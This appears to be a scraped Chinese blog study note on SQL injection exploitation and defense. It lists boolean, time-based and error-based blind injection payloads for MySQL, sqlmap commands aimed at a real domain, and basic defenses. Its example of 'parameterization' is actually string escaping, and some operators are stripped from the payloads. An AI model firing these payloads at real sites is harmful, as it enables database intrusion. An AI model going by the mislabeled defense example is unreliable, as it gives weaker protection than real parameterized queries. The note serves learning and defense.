成都极客联盟网站建设公司,有没有帮别人做网站,深圳互联网协会,贞丰网站建设第 21 课 SQL注入的利用与防御课程入口(付费)个人背景李#xff0c;本科#xff0c;电子信息工程专业#xff0c;毕业一年半#xff0c;有JavaScript的#xff0c;PHP#xff0c;Python的语言基础#xff0c;目前自学网络安全中。SQL注入的利用与防御01 SQL盲注1.1 S… 第 21 课 SQL注入的利用与防御课程入口(付费)个人背景李本科电子信息工程专业毕业一年半有JavaScript的PHPPython的语言基础目前自学网络安全中。SQL注入的利用与防御01 SQL盲注1.1 SQL盲注概念无法通过SQL注入在页面返回内容中找到所需要的数据或者用作注入成功判断的内容都可以称作SQL盲注这里包含说即使页面报错但是很可能是通用的错误信息不能用于注入判断的情况。 1.2 SQL盲注分类按照网上的分类有三种布尔型、时间型、错误型。 1.3 布尔型left() 函数left(database(),1)s 解析:database()显示数据库名称left(a,b)从左侧截取a的前b位substr()函数ascii()函数ascii(substr((select table_name information_schema.tables wheretables_schemadatabase()limit 0,1),1,1))101 --解析substr(a,b,c)从b位置开始截取字符串a的c长度。ascii()将某个字符转换为ascii值ascii(substr((select database()),1,1))98ORD()函数MID()函数ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROMsecurity.users ORDER BY id LIMIT 0,1),1,1))98%23 解析MID(a,b,c)从位置b开始截取a字符串的c位ORD()函数同ascii()将字符转为ascii值regexp正则注入正则注入介绍http://www.cnblogs.com/lcamry/articles/5717442.html用法介绍select user() regexp ^[a-z];解析正则表达式的用法user()结果为rootregexp为匹配root的正则表达式。第二位可以用select user() regexp ^ro来进行 当正确的时候显示结果为1不正确的时候显示结果为0like匹配注入和上述的正则类似mysql在匹配的时候我们可以用ike进行匹配。用法select user() like ro%1.4 时间型sleep()函数If(ascii(substr(database(),1,1))115,0,sleep(5))%23 if判断语句条件为假执行sleep延时5秒BENCHMARK(count,expr) 函数UNION SELECT IF(SUBSTRING(current,1,1)CHAR(119),BENCHMARK(5000000,ENCODE(MSG,by 5 seconds)),null)FROM (select database() as current) as tb1;BENCHMARK(count,expr)用于测试函数的性能参数一为次数二为要执行的表达式。可以让函数执行若干次返回结果比平时要长通过时间长短的变化判断语句是否执行成功。这是一种边信道攻击在运行过程中占用大量的cpu资源。推荐使用sleep()函数进行注入。MysqlBENCHMARK(100000,MD5(1)) or sleep(5)PostgresqlPG_SLEEP(5) OR GENERATE_SERIES(1,10000)Mssql serverWAITFOR DELAY 0:0:51.5 错误型select exp(~(select * FROM(SELECT USER())a)) //double数值类型超出范围Exp()为以e为底的对数函数版本在5.5.5及其以上可以参考exp报错文章http://www.cnblogs.com/lcamry/articles/5509124.htmlselect !(select * from (select user())x) -(ps:这是减号) ~0 //bigint超出范围~0是对0逐位取反很大的版本在5.5.5及其以上可以参考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.htmlextractvalue(1,concat(0x7e,(select version),0x7e))//mysql对xml数据进行查询和修改的xpath函数xpath语法错误updatexml(1,concat(0x7e,(select version),0x7e),1) //mysql对xml数据进行查询和修改的xpath函数xpath语法错误select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重复特性此处重复了version所以报错。具体盲注介绍请参考https://www.cnblogs.com/lcamry/p/5763129.html02 SQL MAP简单实用GET请求sqlmap.py -u “http://baidu.com/cmd?id1”POST请求sqlmap.py -u http://www.baidu.com --data id1search2具体SQLMap请参考https://www.cnblogs.com/ichunqiu/p/5805108.htmlhttps://www.fujieace.com/hacker/sqlmap-12.html03 SQL注入防御在代码层面可以使用参数化语句或者强制数据类型强制类型比较好理解就是比如某个参数的值能确定是int在构建SQL语句前先强制int转换类型而参数化的话比如PHP中的参数化可以这样写$querysprintf(select * from users where id%s,mysqli_real_escape_string($con,$id));$resultmysqli_query($con,$query);使用黑白名单进行输入验证对用户提交内容进行验证比如针对特殊关键词比如union可以列入黑名单一旦发现则认定为攻击请求直接屏蔽。有一些语言有自带这样的验证用的安全方法可以直接调用或者用一些外部的安全框架和API也是可以的比如之前的章节内容提到的OWASP的ESAPI。可以使用WAF产品不过其实这个方法对Web漏洞是通用。0下期更新笔记内容常见WEB漏洞文件上传 第一节